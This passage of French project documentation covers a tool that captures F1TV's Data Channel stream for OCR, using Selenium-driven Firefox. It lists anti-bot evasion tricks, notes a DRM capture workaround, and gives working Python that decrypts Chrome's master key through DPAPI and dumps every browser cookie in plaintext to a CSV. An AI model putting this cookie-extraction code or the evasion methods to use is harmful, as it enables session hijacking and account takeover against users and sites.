de pourquoi il est si difficile de trouver des donn\u00e9es sur la F1 facilement en temps r\u00e9el. Il existe bien quelques API un peu bancales publiques, mais le probl\u00e8me c'est qu'elles ne sont vraiment pas suffisante et je ne peux pas leur faire confiance quand je commente. Ce qu'il m'aurait fallut c'est une API publique et officielle qui me permette d'\u00eatre sur que les donn\u00e9es sont les bonnes et qu'elles arrivent le plus vite possible. On pourrait croire que c'est impossible car cela n'existe pas comme je l'ai dit MAIS ! Ce n'est pas compl\u00eatement vrai. En effet depuis que je poss\u00e8de un abonnement \u00e0 la F1TV, il existe une source d'informations tr\u00e8s pr\u00e9cieuse qui m'aide \u00e9norm\u00e9ment dans mon quotidien de commentateur de Formule 1. La \"DATA CHANNEL\". La Data Channel est une page de la F1TV qui permet, pour chaque Grand Prix, de visualiser, sous la forme d'un flux vid\u00e9o, diff\u00e9rentes informations capitales sur la course. \"Exemple de Data Channel\" Le probl\u00e8me, c'est que comme je viens de le dire, ces donn\u00e9es ne sont pas accessibles comme un tableau HTML ou un flux RSS ou un tableau JSON. C'est un flux vid\u00e9o. Il faut savoir qu'entretenir une diffusion de flux vid\u00e9o en 1080P pendant deux heures accessible par des milliers d'abonn\u00e9s est EXTR\u00caMENT cher surtout quand on le compare \u00e0 simplement afficher les donn\u00e9es dans un tableau. Ce qui veut dire que ce choix est d\u00e9lib\u00e9r\u00e9 et a un sens au niveau \u00e9conomique. Je pense donc que c'est justement pour \u00e9viter que des petits malins puissent simplement venir scraper l'int\u00e9gralit\u00e9 des donn\u00e9es qu'ils proposent et fasse sa propre API. (C'est d'ailleurs un des sites avec la meilleure protection anti bot du monde) MAIS ce n'est pas par ce que les donn\u00e9es ne sont pas facile \u00e0 avoir qu'elles sont IMPOSSIBLE \u00e0 avoir. Et c'est la que ce projet entre en jeu. Mais pour d\u00e9coder les donn\u00e9es d'une image il faut dabord ... (roulement de tambours) ... Avoir des images ! Et c'est la que vient se glisser cette partie du projet. Comment faire ? Le but de ce segment est de se concentrer sur la r\u00e9cup\u00e8ration et la mise \u00e0 disposition pour le reste du programme, des images en direct de la F1TV dans la meilleure qualit\u00e9 possible et dans les meilleurs d\u00e9lais. Pour ce faire il y a plusieurs solutions : Reverse engeneer la F1TV pour acc\u00e8der directement au flux sans passer par la plateforme internet et pouvoir prendres images \u00e0 volont\u00e9. Avoir tout simplement une page de la F1TV ouverte sur un \u00e9cran et prendres des screenshots \u00e0 intervals r\u00e9guliers. Simuler un navigateur internet sans qu'il soit affich\u00e9 et le contr\u00f4ler automatiquement pour qu'il prenne des captures. La premi\u00e8re option aurait \u00e9t\u00e9 la plus \u00e9l\u00e9gante mais lors d'un POC que je tentais de r\u00e9aliser je me suis rendu compte que cela serait un peu trop compliqu\u00e9 et long \u00e0 faire. Sans compter le fait que les rediffusions de Grand Prix ne sont pas g\u00e8r\u00e9es de la m\u00eame mani\u00e8re que les diffusions en live. Et que pour faire des Tests en live il faudrait attendre \u00e0 chaque fois un weekend de Grand Prix et le faire en plus du commentaire que je dois produire. Pour toutes ces raisons et bien d'autres je l'ai rang\u00e9e dans la case \"Trop dur, Trop chiant, S\u00fbrement ill\u00e9gal\" (Oui je sais c'est une cat\u00e9gorie bien sp\u00e9cifique mais c'est ma documentation je fais ce que je veux) La troisi\u00e8me option aurait \u00e9t\u00e9 la plus simple (et moins dr\u00f4le) et je suis presque s\u00fbr que je peux impl\u00e9menter cette derni\u00e8re en moins d'une apr\u00e8s-midi. Sauf qu'elle apporte de gros soucis. On ne peux pas garantir l'int\u00e9grit\u00e9 et la continuit\u00e9 des donn\u00e9es si l'utilisateur avance ou fait pause m\u00eame par simple inadvertance. La moindre fen\u00eatre qui s'afficherait devant ruinerait toute la reconnaissance de caract\u00e8res. On ne peut pas contr\u00f4ler la qualit\u00e9 du flux et on est oblig\u00e9 de faire confiance en l'utilisateur On ne peut pas vraiment automatiser quoi que ce soit niveau tests ou m\u00eame pour faire du scrapping auto pour remplir une base de donn\u00e9e. Et finalement le pire inconv\u00e9nient : C'EST NUL ! Je ne pourrais jamais utiliser un projet qui fonctionne de cette facon, je ne peux pas me permettre d'avoir un \u00e9cran inutilisable quand je commente et auquel je dois constamment faire attention pour ne pas perturber la reconnaissance. Pour moi cette option aurait \u00e9t\u00e9 celle \u00e0 choisir en cas d'extr\u00eame urgence et en dernier recours car le projet deviendrait inutile. J'ai donc d\u00e9cid\u00e9 de m'occuper de la seconde option : Simuler un navigateur. Cette option bien que complexe et difficile \u00e0 impl\u00e9menter propose une solution \u00e0 tous les probl\u00eame et permet une r\u00e9cup\u00e8ration quasi sans compromis. Simuler un navigateur ? \"Navigateur Headless(sans t\u00eate)\" Simuler un navigateur internet n'est pas forc\u00e9ment tr\u00e8s difficile. Chromium par exemple offre une panoplie d'outils natifs et \u00e9norm\u00e9ment de librairies existent permettant de facilement et en quelques lignes simuler un Google Chrome et le contr\u00f4ler sans afficher son UI (Interface Utilisateur). \"Chromium logo\" {: style=\"height:150px;width:150px\"} Cependant. La F1TV n'utilise pas simplement un player HTML5 basique. Elle utilise un service de streaming BitMovin qui permet de fournir un stream de bonne qualit\u00e9 et surtout qui impl\u00e9mente les DRM (Digital Right Management) Cela veut dire que quand on ouvre un flux de la F1TV sur chrome et que l'on essaie de prendre une capture d'\u00e9cran, le player se met en noir et ne permet pas de voir quoi que ce soit (Certaines version de Chrome le permettent pendant quelques semaines avant de bloquer \u00e0 nouveau). Ce qui dans notre cas est un immense probl\u00e8me. Mais Firefox ne nous bloque pas de cette facon et il est donc assez facile de passer outre. L'explication sans trop rentrer dans les d\u00e9tails est la suivante : Dans chrome, le player par d\u00e9faut utilise une technologie appell\u00e9e \"PCP\" ou \"Protected Content Playback\" qui leur permet de bloquer au moins une partie des techniques de r\u00e9cup\u00e8ration du flux vid\u00e9o et audio. Cependant Firefox de pas sa nature Open Source utilise \"OpenH264\" pour lire ces m\u00eames flux soumis \u00e0 des DRM et OpenH264 n'impl\u00e9mente pas les m\u00eames restrictions. Sauf que Firefox n'est pas aussi facilement \u00e9mul\u00e9 que chrome et cela r\u00e9duit notre choix de librairies \u00e0 ... Une seule... Qui est Selenium. (Il existe aussi Pupetteer C# mais j'ai rencontr\u00e9 \u00e9norm\u00e9ment de soucis avec cette derni\u00e8re d\u00e8s que je voulais lancer une vid\u00e9o) \"Firefox dev logo\" {: style=\"height:150px;width:150px\"} Mais m\u00eame si la documentation est plut\u00f4t maigre parfois, c'est une bonne librairie qui permet de tr\u00e8s bien contr\u00f4ler une instance de chrome ou de Firefox. Contr\u00f4ler le navigateur Maintenant que l'on sait quel navigateur simuler et avec quelle technologie, on peut passer \u00e0 la r\u00e9alisation. Ce qu'il y a de bien avec Selenium, c'est qu'on a un certain nombre de commandes tr\u00e8s haut niveau qui nous permettent de contr\u00f4ler un navigateur de mani\u00e8re plut\u00f4t pr\u00e9cise. Je vais d\u00e9crire ici la proc\u00e9dure habituelle utilis\u00e9e sous une forme de recette de cuisine pour que l'on puisse facilement comprendre ce qu'il se passe. Durant cette explication je vais parler \u00e0 un moment de Cookies, ne vous en faites pas c'est le sous chapitre suivant qui va vous en parler. Recette de cuisine pour r\u00e9cup\u00e8rer des images de la F1TV : D\u00e9marrer une instance de navigateur avec les bons arguments Ajouter les bons param\u00eatres pour ne pas se faire flag comme un bot Naviguer sur la page de la F1TV Ajouter les cookies de connexion pour avoir acc\u00e8s au contenu de la page Naviguer sur la page du Grand Prix demand\u00e9 Attendre un peu que la page se charge Cliquer sur l'invite de cookies Attendre cinq secondes le temps que la page se reload Cliquer sur le bouton qui permet de passer du feed live \u00e0 la DATA CHANNEL Appuyer sur Espace pour faire apparaitre le bouton d'acc\u00e8s au param\u00eatres Cliquer sur le menu d\u00e9roulant des r\u00e9solution Trouver l'option 1080P et la selectionner Cliquer sur le bouton qui met la vid\u00e9o en plein \u00e9cran Prendre de screenshots \u00e0 intervales r\u00e9guliers Pour faire toutes ces actions on doit r\u00e9cup\u00e8rer les \u00e9l\u00e9ments selon leur ID ou leur classe. Voici un exemple qui r\u00e9cup\u00e8re le bouton de plein \u00e9cran et qui clique dessus : IWebElement fullScreenButton = Driver . FindElement ( By . ClassName ( \"bmpui-ui-fullscreentogglebutton\" )); fullScreenButton . Click (); Ca peut para\u00eetre plut\u00f4t simple dit comme ca et quand tout fonctionne ca l'est mais la difficult\u00e9 vient du fait que \u00e0 peu pr\u00e8s nimporte laquelle de ces \u00e9tapes peut rater et qu'il faut donc faire un bon syst\u00e8me de gestion d'erreurs qui puisse aider l'utilisateur en cas de probl\u00e8me. Parfois il est aussi difficile de trouver un \u00e9l\u00e9ment selon son ID,sa classe, ou sa value. Par exemple l'option qui permet de passer en 1080P peut avoir comme value 1080_9011456 ou 1080_9011200 si on refresh la page. Cela demande de passer par des expression r\u00e9guli\u00e8res ce qui n'est pas compliqu\u00e9 en soi mais c'est toutes ces petites choses qui rendent le processus long \u00e0 mettre en place. Il faut dire aussi que les sites ne sont pas forc\u00e9ment tr\u00e8s content de voir des bots passer car cela peut \u00eatre un risque de DDOS et de Scraping (Comme moi) et donc ils mettent en place des syst\u00e8mes pour nous emp\u00eacher de faire ce que l'on veut On peut utiliser diff\u00e9rntes techniques pour passer outre ces restrictions comme : Changer son UserAgent Changer sa r\u00e9solution Ne pas avoir des patterns trop pr\u00e9visibles Avoir un historique Ne pas cliquer pile sur le milieu des boutons Ne pas cliquer trop vite Passer par un proxy pour ne pas se faire flag Utiliser des librairies plus discr\u00e8tes J'ai eu l'occasion de tester toutes ces methodes pour tenter de passer derri\u00e8re les radars de la F1TV et visiblement j'ai r\u00e9ussi pour les pages principales mais pas pour les pages de Login. Il faut savoir que la bataille entre bots et propri\u00e9taires de sites est un grand jeu du chat et de la souris et que les plateformes innovent constamment leur s\u00e9curit\u00e9. Et il se trouve que la partie login de la F1TV est heberg\u00e9e autre part que le reste du site chez Amazon et que elle poss\u00e8de les meilleures s\u00e9curit\u00e9s que j'aie pu voir. Aucunes des methodes que j'ai cit\u00e9es et d'autres encore que j'ai essay\u00e9 n'ont r\u00e9ussi \u00e0 fourvoyer le syst\u00e8me. J'ai donc \u00e9t\u00e9 oblig\u00e9 de faire appel \u00e0 la connexion par Cookies pour pouvoir acc\u00e8der au reste du site internet. R\u00e9cup\u00e8rer les cookies ? Alors, on va mettre de c\u00f4t\u00e9 toutes les questions de s\u00e9curit\u00e9 et de violation de la vie priv\u00e9e et de protection des donn\u00e9es des utilisateurs pour ce chapitre. Car pour faire simple, je siphonne TOUS les cookies de la persone qui utilise mon app. Alors \u00e9videmment ca n'est pas pour faire des b\u00e9tises avec et c'est pour une \"bonne\" raison, mais bon quand m\u00eame ca peut faire bizarre comme ca. Je pense que vous savez d\u00e9ja ce qu'est un Cookie, mais je vais quand m\u00eame faire un petit point la dessus car c'est important pour la suite. Quand on va sur un site internet et que l'on se connecte avec nos identifiants nous sommes connect\u00e9s sur la session. Cependant, si on quitte le site ou que l'on ferme le navigateur, le site ne peut pas garder en m\u00e9moire que c'est bien vous quand le lendemain vous retournez dessus. Pour palier \u00e0 cette limitation on a invent\u00e9 cette chose magnifique (hem...) que sont les cookies ! Les cookies sont des petits fichiers qui sont stock\u00e9s dans votre navigateur et qui peuvent servir \u00e0 beaucoup de choses comme traquer votre activit\u00e9 sur internet et espionner un peu ou aussi par exemple, servir de jeton de connexion. L'id\u00e9e est que quand vous vous connectez sur le site avec vos identifiants, le site envoie un petit fichier dans votre navigateur qui va servir de jeton. Et donc quand vous reviendrez, le site pourra voir que vous avez le jeton et vous connectera automatiquement. Ca peut para\u00eetre g\u00e9nial, et c'est effectivement bien pratique, cependant ce n'est pas sans risques. En effet, imaginons qu'un acteur malveillant parvienne \u00e0 s'emparer de ces petits fichiers, il pourrait ainsi facilement se faire passer pour vous. Alors un cookie expire \u00e0 un moment donn\u00e9 pour temperer les risques, mais ils sont toujours pr\u00e9sents. Dans notre cas on peut vite comprendre pourquoi cela peut \u00eatre int\u00e9ressant de r\u00e9cup\u00e8rer ces cookies. En effet, si on peut mettre la main sur le jeton de connexion de l'utilisateur de notre application. On pourra se connecter automatiquement \u00e0 la F1TV et aller prendre des photos directement sans que l'utilisateur aie \u00e0 faire quoi que ce soit. Sauf que les cookies ne sont pas stock\u00e9s en clair comme ca. Evidemment Google Chrome a mis en place quelques techniques pour \u00e9viter que nimporte qui puisse s'amuser \u00e0 aller taper dans les cookies de la machine. Tous les cookies sont stock\u00e9s dans une base de donn\u00e9es sqlite avec les noms en clair et les valeurs sont encrypt\u00e9es en utilisant la methode AES 256 qui est une methode de cryptage tr\u00e8s utilis\u00e9e et efficace. Tellement efficace qu'il serait compl\u00eatement inutile de tenter de les decrypter en utilisant de la force brute pour trouver la valeur ou m\u00eame une attaque de dictionnaire ou quoi que ce soit. Si ces valeurs peuvent \u00eatre encod\u00e9es et d\u00e9cod\u00e9es en local sur la machine sans connexion internet, cela veut dire que la cl\u00e9 est stock\u00e9e sur la machine. Et si je peux mettre la mais sur cette cl\u00e9 alors je pourrai lire tous les cookies de la machine. Cette cl\u00e9 est stock\u00e9 dans les fichiers de Google Chrome sous Google\\Chrome\\User Data\\Local State . Et dans ce fichier on peut trouver une liste de donn\u00e9es en cl\u00e9 valeurs et on peut trouver la cl\u00e9 sous os_crypt encrypted_key . On pourrait croire que l'on a d\u00e9ja touch\u00e9 le jackpot mais il reste encore une \u00e9tape. Cette cl\u00e9 est crypt\u00e9e en utilisant le syst\u00e8me d'encryption de Windows. Cette encryption est utilis\u00e9e pour emp\u00eacher des utilisateurs non connect\u00e9s d'acc\u00e8der \u00e0 certaines donn\u00e9es. Mais comme nous sommes connect\u00e9s nous pouvons facilement utiliser les librairies de decryption pour trouver la valeur de cette cl\u00e9. Et \u00e0 partir de la il suffit d'utiliser cette cl\u00e9 pour d\u00e9crypter tous les cookies de la machine pour aller chercher ceux qui nous int\u00e9ressent. Voici un exemple du code python qui permet d'aller chercher la cl\u00e9 d'encryption dans les fichiers de Google Chrome : def get_master_key (): with open ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Local State\" , \"r\" ) as f : local_state = f . read () local_state = json . loads ( local_state ) master_key = base64 . b64decode ( local_state [ \"os_crypt\" ][ \"encrypted_key\" ]) master_key = master_key [ 5 :] # removing DPAPI master_key = win32crypt . CryptUnprotectData ( master_key , None , None , None , 0 )[ 1 ] print ( \"MASTER KEY :\" ) print ( master_key ) print ( len ( master_key )) return master_key Python ?? Et oui j'ai choisit d'utiliser un srypt python pour aller chercher les cookies. Ce choix a \u00e9t\u00e9 fait pour trois raisons : Le python est un language que je n'aime pas particuli\u00e8rement mais qui poss\u00e8de un \u00e9ventail de librairies absolument fantastique. Et pour ce genre de choses qui demandent une constante mise \u00e0 jour des librairies et qui sont un peu niches le python est une option juste g\u00e9niale. Comme c'est une des parties qui est le plus suceptible de changer vu que Chrome change relativement souvent le syst\u00e8me de stockage des cookies. Dans une optique de facilit\u00e9 de maintenance, avoir un seul fichier qui concerne cette partie du projet et qui est dans un language que plus de gens maitrisent que C# est pratique. Je n'ai pas r\u00e9ussi \u00e0 trouver de librairies C# qui me donne des r\u00e9sultats identiques \u00e0 celles que j'utilise dans ce script python. Pour faire la liaison entre le C# et le python, j'appelle le script depuis mon C# et ensuite le python s'occupe de mettre tous les cookies dans un CSV qui est ensuite lu depuis le C#. Voici la partie python qui \u00e9crit dans le csv : if not cookies_path . exists (): raise ValueError ( \"Cookies file not found\" ) with sqlite3 . connect ( cookies_path ) as connection : connection . row_factory = sqlite3 . Row cursor = connection . cursor () cursor . execute ( \"SELECT * FROM cookies\" ) with open ( 'cookies.csv' , 'a' , newline = '' ) as csvfile : fieldnames = [ 'host_key' , 'name' , 'value' , 'path' , 'expires_utc' , 'is_secure' , 'is_httponly' ] writer = csv . DictWriter ( csvfile , fieldnames = fieldnames ) if csvfile . tell () == 0 : writer . writeheader () for row in cursor . fetchall (): decrypted_value = decrypt_password ( row [ \"encrypted_value\" ], master_key ) writer . writerow ({ 'host_key' : row [ \"host_key\" ], 'name' : row [ \"name\" ], 'value' : decrypted_value , 'path' : row [ \"path\" ], 'expires_utc' : row [ \"expires_utc\" ], 'is_secure' : row [ \"is_secure\" ], 'is_httponly' : row [ \"is_httponly\" ] }) print ( \"Finished CSV\" ) Et la partie C# qui appelle le script et qui lit le CSV : private void StartCookieRecovering () { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME ; Process process = new Process (); process . StartInfo . FileName = \"python.exe\" ; process . StartInfo . Arguments = scriptPath ; process . StartInfo . UseShellExecute = false ; process . StartInfo . RedirectStandardOutput = true ; process . Start (); string output = process . StandardOutput . ReadToEnd (); process . WaitForExit (); } public string GetCookie ( string host , string name ) { StartCookieRecovering (); string value = \"\" ; List < Cookie > cookies = new List < Cookie >(); using ( var reader = new StreamReader ( COOKIES_CSV_FILENAME )) { // Read the header row and validate column order string header = reader . ReadLine (); string [] expectedColumns = { \"host_key\" , \"name\" , \"value\" , \"path\" , \"expires_utc\" , \"is_secure\" , \"is_httponly\" }; string [] actualColumns = header . Split ( ',' ); for ( int i = 0 ; i < expectedColumns . Length ; i ++) { if ( expectedColumns [ i ] != actualColumns [ i ]) { throw new InvalidOperationException ( $\"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'\" ); } } // Read each data row and parse values into a Cookie object while (! reader . EndOfStream ) { string line = reader . ReadLine (); string [] fields = line . Split ( ',' ); string hostname = fields [ 0 ]; string cookieName = fields [ 1 ]; if ( hostname == host && cookieName == name ) { value = fields [ 2 ]; } } } return value ; } Maintenant que l'on sait comment simuler et manipuler un navigateur internet, que l'on sait comment se connecter sur le compte F1TV de l'utilisateur sans qu'il n'aie rien \u00e0 faire. On a tous les ingr\u00e9dients pour automatiquement r\u00e9cup\u00e8rer des images de la F1TV du Grand Prix que l'on souhaite. Calibration Maintenant que l'on a des images de la page Data de la F1TV on pourrait croire que c'est tout bon on peut direct passer \u00e0 la partie OCR. Mais que nenni ! Le gros soucis de l'OCR c'est que sa pr\u00e9cision est grandement r\u00e9duite d\u00e8s que l'on augmente la taille de la zone de recherche. M\u00eame simplement deux mots sur une image, si on les prends dans images individuelles on a de grandes chances de trouver quelque chose mais si on les mets les deux sur la m\u00eame et que on tente l'OCR on va avoir de r\u00e9sultats bien moins bons. Et puis il faut aussi voir que selon les donn\u00e9es que je cherche je ne peux pas faire le m\u00eame traitement. Par exemple, savoir si le DRS est allum\u00e9, savoir quels pneus chausse un pilote et depuis combien de tours et savoir quel est le temps de son dernier tour, ce sont des informations qui demandent des traitements qui n'ont rien \u00e0 voir. Il faut donc pouvoir dire au programme d'OCR ou se trouvent les informations et quelle est leur nature pour qu'il puisse les d\u00e9coder. Il faut donc faire une calibration qui puisse donner toutes les infos importantes mais qui en m\u00eame temps soit facile \u00e0 utiliser car un utilisateur doit \u00eatre capable de le faire assez facilement. Voici la liste des informations que l'on doit r\u00e9cup\u00e8rer : La liste des pilotes pr\u00e9sent sur le Grand Prix La position de la zone principale La position de chaque zone de pilote La position de toutes les Window sur chaque zone de pilote Le but a \u00e9t\u00e9 de retirer le plus d'\u00e9tapes possibles \u00e0 l'utilisateur. Techniquement j'aurais pu faire une version compl\u00eatement manuelle mais ca aurait pris trop de temps alors il y a des syst\u00e8mes qui permettent de rendre cette t\u00e2che moins p\u00e9nible. Liste des pilotes Pour la liste des pilotes j'ai pens\u00e9 \u00e0 utiliser une API externe pour avoir une liste dans laquelle on pourrait selectionner des noms de pilotes sauf que j'ai abandonn\u00e9 l'id\u00e9e car je trouvais que le projet avait d\u00e9ja bien assez de points qui d\u00e9pendent de l'exterieur. Il y a donc une liste de pilotes dans laquelle on peut ajouter ou supprimer des noms de pilotes. L'id\u00e9al serait de mettre tous les pilotes de reserve comme ca si un pilote est malade sur une course on a pas besoin de venir changer la liste. Zone principale Pour la zone principale c'est compl\u00eatement manuel, on attend de l'utilisateur deux points x,y sur l'image pour ensuite avoir une id\u00e9e de ou est sens\u00e9 se trouver la zone. \"Exemple de zone principale\" Zones pilotes C'est la que ca devient int\u00e9ressant. L'utilisateur n'a pas besoin de faire quoi que ce soit pour que le programme sache ou sont les zones des pilotes. J'aurais pu le faire manuellement en faisant choisir \u00e0 l'utilisateur de donner deux points qui correspondent \u00e0 la premi\u00e8re zone et extrapoler pour en avoir 20. Sauf que si l'utilisateur n'est pas pr\u00e9cis au pixel pr\u00e8s (et m\u00eame comme ca parfois) le vingti\u00e8me pilote se retrouve avec une zone compl\u00eatement desax\u00e9e. La, le programme va \"simplement\" effectuer une reconaissance de texte sur toute l'image. Les r\u00e9sultats ne nous int\u00e9ressent pas vraiment tout ce que l'on veut c'est la position des textes. Avec les position il est facile de determiner ou sont toutes les zones de pilotes et donc sans que l'utilisateur n'aie \u00e0 toucher quoi que ce soit, d\u00e8s qu'il a donn\u00e9 les infos pour la zone principale, les zones de pilotes sont determin\u00e9es. \"Exemple zone pilote\" Voici un exemple du code utilis\u00e9 pour trouver ou dessiner des zones de pilotes : public void AutoCalibrate () { List < Rectangle > detectedText = new List < Rectangle >(); List < Zone > zones = new List < Zone >(); TesseractEngine engine = new TesseractEngine ( Window . TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Image image = MainZone . ZoneImage ; var tessImage = Pix . LoadFromMemory ( Window . ImageToByte ( image )); Page page = engine . Process ( tessImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if ( boundingBox . Height < image . Height / NUMBER_OF_DRIVERS ) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if ( boundingBox . X1 > image . Width / 2 ) { //Now we check if an other square box has been found roughly in the same y axis bool match = false ; //The tolerance is roughly half the size that a window will be int tolerance = ( image . Height / NUMBER_OF_DRIVERS ) / 2 ; foreach ( Rectangle rect in detectedText ) { if ( rect . Y > boundingBox . Y1 - tolerance && rect . Y < boundingBox . Y1 + tolerance ) { //There already is a rectangle in this line match = true ; } } //if nothing matched we can add it if (! match ) detectedText . Add ( new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } } } } while ( iter . Next ( PageIteratorLevel . Word )); } //DEBUG int i = 1 ; foreach ( Rectangle Rectangle in detectedText ) { Rectangle windowRectangle ; Size windowSize = new Size ( image . Width , image . Height / NUMBER_OF_DRIVERS ); Point windowLocation = new Point ( 0 , ( Rectangle . Y + Rectangle . Height / 2 ) - windowSize . Height / 2 ); windowRectangle = new Rectangle ( windowLocation , windowSize ); //We add the driver zones Zone driverZone = new Zone ( MainZone . ZoneImage , windowRectangle , \"DriverZone\" ); MainZone . AddZone ( driverZone ); //driverZone.ZoneImage.Save(\"Driver\" + i+\".png\"); i ++; } } Windows pilotes C'est ici que c'est le plus p\u00e9nible pour l'utilisateur, il doit selectionner manuellement les positions des fen\u00eatres de donn\u00e9es. Ensuite d\u00e8s que l'utilisateur a donn\u00e9e une position pour chaque window, on applique les positions pour chaque zone de pilote. Il y a plusieurs types de windows et selon le type le traitement est diff\u00e9rent comme je l'ai dit plus t\u00f4t. Voici des exemples concrets : \"Exemple Window de pneus\" \"Exemple Window temps au tour\" \"Exemple window Drs\" Il est important que toutes ces zones soient transmises avec le plus de pr\u00e9cision possible pour que l'OCR puisse bien faire son boulot. Stockage Ensuite quand l'utilisateur a finit de configurer son flux, la configuration est stock\u00e9e pour qu'il puisse ensuite la r\u00e9utiliser pour tous les autres Grand Prix de l'ann\u00e9e. Le stockage est fait sous format JSON et est fait pour que le programme d'OCR puisse lire dedans toutes les infos nescessaires. Cela fait des fichiers plut\u00f4t gros mais je n'avais pas vraiment le choix. J'ai test\u00e9 une version avec seulement les infos de la premi\u00e8re zone de pilote mais avec l'interpolation, les derniers pilotes se retrouvent avec des zones clairement pas \u00e0 la bonne taille. Voici un exemple de ce \u00e0 quoi ressemble le JSON final : { \"Main\" : { \"x\" : 36 , \"y\" : 343 , \"width\" : 3780 , \"height\" : 1454 , \"DriverZones\" : [ { \"name\" : \"Driver1\" , \"x\" : 0 , \"y\" : 1 , \"width\" : 3780 , \"height\" : 72 , \"Windows\" : [ { \"Position\" : { \"x\" : 45 , \"y\" : 3 , \"width\" : 76 , \"height\" : 65 }, \"GapToLeader\" : { \"x\" : 447 , \"y\" : 1 , \"width\" : 206 , \"height\" : 67 }, \"LapTime\" : { \"x\" : 863 , \"y\" : 3 , \"width\" : 229 , \"height\" : 65 }, \"DRS\" : { \"x\" : 1095 , \"y\" : 1 , \"width\" : 174 , \"height\" : 67 }, \"Tyres\" : { \"x\" : 1274 , \"y\" : 3 , \"width\" : 1448 , \"height\" : 62 }, \"Name\" : { \"x\" : 2724 , \"y\" : 3 , \"width\" : 361 , \"height\" : 65 }, \"Sector1\" : { \"x\" : 3088 , \"y\" : 1 , \"width\" : 239 , \"height\" : 65 }, \"Sector2\" : { \"x\" : 3314 , \"y\" : 4 , \"width\" : 190 , \"height\" : 62 }, \"Sector3\" : { \"x\" : 3493 , \"y\" : 1 , \"width\" : 198 , \"height\" : 67 } } ] }, { \"name\" : \"Driver2\" , \"x\" : 0 , \"y\" : 72 , \"width\" : 3780 , \"height\" : 72 , \"Windows\" : [ { \"Position\" : { \"x\" : 45 , \"y\" : 3 , \"width\" : 76 , \"height\" : 65 }, \"GapToLeader\" : { \"x\" : 447 , \"y\" : 1 , \"width\" : 206 , \"height\" : 67 }, \"LapTime\" : { \"x\" : 863 , \"y\" : 3 , \"width\" : 229 , \"height\" : 65 }, \"DRS\" : { \"x\" : 1095 , \"y\" : 1 , \"width\" : 174 , \"height\" : 67 }, \"Tyres\" : { \"x\" : 1274 , \"y\" : 3 , \"width\" : 1448 , \"height\" : 62 }, \"Name\" : { \"x\" : 2724 , \"y\" : 3 , \"width\" : 361 , \"height\" : 65 }, \"Sector1\" : { \"x\" : 3088 , \"y\" : 1 , \"width\" : 239 , \"height\" : 65 }, \"Sector2\" : { \"x\" : 3314 , \"y\" : 4 , \"width\" : 190 , \"height\" : 62 }, \"Sector3\" : { \"x\" : 3493 , \"y\" : 1 , \"width\" : 198 , \"height\" : 67 } } ] } [ O t her pilo ts ... ] ], \"Drivers\" : [ \"Perez\" , \"Verstappen\" , \"Alonso\" , \"Sainz\" , \"Russel\" , \"Gasly\" , \"Leclerc\" , \"Ocon\" , \"Hulkenberg\" , \"Bottas\" , \"Hamilton\" , \"Albon\" , \"Tsunoda\" , \"Zhou\" , \"Stroll\" , \"De Vries\" , \"Magnussen\" , \"Norris\" , \"Piastri\" , \"Sargeant\" ] } } Et avec tout ca. L'OCR peut d\u00e9marrer dans de bonnes conditions OCR Maintenant que on a des images qui arrivent automatiquement et que l'on sait ou se trouvent les informations sur ces dites images, je vais parler de la seconde partie du projet qui parle du processus de reconnaissance de data sur une image du feed DATA de la F1TV. C'est je pense la partie qui a demand\u00e9 le plus tests et de refactor. Toute la partie OCR a \u00e9t\u00e9 d\u00e9velopp\u00e9e dans un projet \u00e0 part avant d'\u00eatre int\u00e9gr\u00e9e dans le projet final. Il faut savoir que la reconnaissance est diff\u00e9rente celon ce que l'on cherche. Je vais donc d\u00e9composer cette partie du document en sous rubriques selon les donn\u00e9es recherch\u00e9es. Mais avant ca je dois expliquer certains concepts qui seront importants. Fonctionnement g\u00e9n\u00e9ral Voici un screenshot de la page DATA de la F1TV que le programme va recevoir : \"Screen F1TV\" Si on regarde de loin on peut se dire que la structure est plut\u00f4t simple mais c'est loin d'\u00eatre le cas. On peut y voir au moins 4 zones contenant de l'information dans un format diff\u00e9rent. \"Zones principales\" Dans l'exemple ci dessus on peut voir 3 zones mais on aurait \u00e9galement pu comprendre la zone de position des pilotes autour du circuit pour faire 4. Ces 4 zones sont tr\u00e8s diff\u00e9rentes et contiennent d'autres informations. Pour ce travail de dipl\u00f4me je ne m'occupe que de la zone principale. Mais je pense que le titre et les infos de circuit ne prendrait pas tant de temps que ca \u00e0 impl\u00e9menter. J'ai utilis\u00e9 le mot \"Zone\" plus haut et ca n'est pas juste un mot utilis\u00e9 au hasard. C'est le nom de l'objet que j'utilise pour les repr\u00e9senter dans mon programme. Mais comme c'est important de bien comprendre ce concept avant de continuer je vais vous l'expliquer. ZONE : L'objet \"Zone\" parent est un objet qui est une zone d'image. Je m'explique, le but d'une zone est d'\u00eatre un morceau d'une image plus grande. Le but d'une Zone est de contenir une liste de plus petites Zones ou bien une liste de \"Window\" (j'explique ce que c'est juste apr\u00e8s). Elle contient la portion d'image qui la concerne et ses propres dimensions. Le parent zone ne pr\u00e9voit que de pouvoir ajouter ou supprimer des \u00e9l\u00e9ments des listes de zones ou de windows ainsi qu'une methode qui permet d'aller chercher toutes informations des livres qu'elle contient. L'int\u00e9r\u00eat d'une zone est de pouvoir compartimenter une image dans des parties int\u00e9ressantes au niveau de la reconnaissance mais pas de traiter d'information. WINDOW : L'objet \"Window\" est un objet qui peut ressembler beaucoup \u00e0 l'objet \"Zone\". En effet elle aussi est une partie d'une image plus grande et contient ses dimensions, mais elle se distingue en deux points importants. Elle ne contient pas d'autres Zones ou Windows Elle peut retourner les informations \u00e9crites sur son image. Toutes les Window qui h\u00e9ritent du parent Window peuvent impl\u00e9menter une methode qui permet de renvoyer ce qui peut \u00eatre d\u00e9cod\u00e9 sur son image. Les enfants peuvent aussi aller piocher dans les nombresues methodes de r\u00e9cup\u00e8ration de donn\u00e9es contenues dans le parent Window. Mieux vaut r\u00e9utiliser le plus possible que de r\u00e9inventer la roue pour chaque Window. Une analogie un peu bancale pourrait se pr\u00e9senter comme la suivante : La zone est une 